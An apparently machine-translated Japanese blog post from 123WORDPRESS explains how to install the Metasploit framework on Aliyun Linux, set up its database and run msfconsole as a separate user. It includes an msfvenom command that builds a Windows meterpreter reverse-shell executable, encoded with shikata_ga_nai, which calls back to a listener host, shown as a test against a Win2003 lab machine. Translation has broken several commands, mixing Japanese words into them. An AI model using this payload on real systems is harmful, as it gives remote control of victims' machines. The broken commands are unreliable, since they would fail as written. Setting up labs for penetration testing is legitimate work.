Linuxシステムにmsfをインストールするプロセスの詳細な説明

Linuxシステムにmsfをインストールするプロセスの詳細な説明

または、インストールプロセスを自分で書き留めてください。

私のサーバーシステムはAliyun Linuxです

1.ダウンロードしてインストールする
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

考えられるエラー: ファイル /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit を開けませんでした

それはライブラリのインストールの問題によるものです!
解決:
yum インストール -y epel-release
次に、上記のコマンドを繰り返します。

2. 新しいユーザーを追加してmsfを実行する
adduser msf #msf ユーザーを追加
su msf #msfユーザーに切り替える
cd /opt/metasploit-framework/bin #msf があるディレクトリに切り替えます
./msfコンソール
#今後は msfconsole を起動し、起動時に msf ユーザーに切り替えて、データベースが同期されるようにします。
root ユーザーとして起動すると、データベースは同期されません。
(スタートアップ インデックスはデフォルトですでに構成されています!)
msfconsole を起動するだけです!

#関連コマンド [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# データベースの初期化 [msf@xxxx root]$ msfdb
コマンド:
 initはコンポーネントを初期化します
 reinit コンポーネントを削除して再初期化する
 コンポーネントを削除して停止する
 ステータスチェックコンポーネントステータス
 コンポーネントを開始する
 コンポーネントを停止する
 コンポーネントを再起動します
#テスト:
たとえば、私の仮想ホストはWin2003(ターゲットマシン)です。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注意:エラスティッククラウドサーバIPの場合、LHOSTはイ​​ントラネットで割り当てられたIPに設定する必要があり、パブリックIPは設定できません【この落とし穴に長い間悩まされていました! ! !血を吐く! ! ! ]

ここに画像の説明を挿入

ps: Linux システムに msf フレームワークをインストールする

注文:

http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run を実行します。
chmod 755 metasploit-latest-linux-installer.run
./metasploit-最新-linux-インストーラー.run

実行が終了するまでお待ちください。重要なポイントで Enter キーと Y キーを押すだけです。

要約する

Linux システムに msf をインストールする詳細なプロセスに関するこの記事はこれで終わりです。Linux システムに msf をインストールすることに関するより関連性の高いコンテンツについては、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。皆様が今後も 123WORDPRESS.COM をサポートしてくれることを願っています。

以下もご興味があるかもしれません:
  • php-msf ソースコードの詳細な説明
  • システム ストアド プロシージャ sp_MSforeachtable および sp_MSforeachdb の使用手順

<<:  React Native JSIはRNとネイティブ通信のサンプルコードを実装します

>>:  Linux Centos7 に mysql8 をインストールするチュートリアル

推薦する

MySQL sql_mode の使用に関する詳細な説明

目次序文sql_mode の説明最も重要なオプションすべてのオプション要約する序文前回の記事「MyS...

Nginx サービス クイック スタート チュートリアル

目次1. Nginx の紹介1. Nginx とは何ですか? 2. Nginx を使用する理由3. ...

Jenkins統合Dockerプラグインの問題を解決するいくつかの方法

目次背景質問1エラー 2エラー 3エラー4要約する背景テスト環境では、docker プラグインを統合...

MySQL 8の新機能ウィンドウ関数の役割

MySQL 8.0 の新機能は次のとおりです。 Unicode 9.0 をすぐに完全にサポートウィン...

特定のシンボルで複数の行と列に分割するMySQLの例

一部の障害コード テーブルでは、履歴またはパフォーマンス上の理由から、次の設計パターンが使用されます...

HTML でのアンカーポイントの使用_PowerNode Java アカデミー

ここで、アンカー ポイントを制御するいくつかの状況をまとめてみましょう。 1. 同じページ <...

完全バックアップとポイントインタイムバックアップにmysqldumpを使用する方法

Mysqldump は MySQL の論理バックアップに使用されます。高速ではありませんが、柔軟性が...

Docker-compose インストール yml ファイルの設定方法

目次1. オフラインインストール2. オンラインインストール3. アンインストール4. ymlファイ...

MySQL 8.0 の新機能の落とし穴と解決策についての簡単な説明 (要約)

1. ユーザーを作成して承認するMySQL 8.0 では、ユーザーの作成と認証が以前とは異なります...

エラー mysql テーブル 'performance_schema...解決方法

テスト環境は、JDBCドライバを使用してMariaDB 5.7でセットアップされています。 <...

データベースミドルウェアMyCatの紹介

1. Mycatの適用シナリオMycat は幅広いシナリオに合わせて開発されており、新しいユーザーが...

js を使ってシンプルな虫眼鏡効果を実現

この記事の例では、参考までに簡単な虫眼鏡効果を実現するためのjsの具体的なコードを共有しています。具...

Linuxのip netnsコマンドを使用してネットワークポートを分離し、IPアドレスを設定します。

1. 分離マーカーを追加します。 ip netns add fd 2. 指定されたネットワーク カ...

MySQL インデックス データ構造の詳細な分析

目次概要インデックスデータ構造バイナリツリー赤黒木BツリーB+ツリーハッシュ索引InnoDB インデ...

Linux を使用して時間指定ファイルが占有するディスク容量を計算する方法

スケジュールされたタスク エディターを開きます。Cent は、デフォルトで vim を使用して直接開...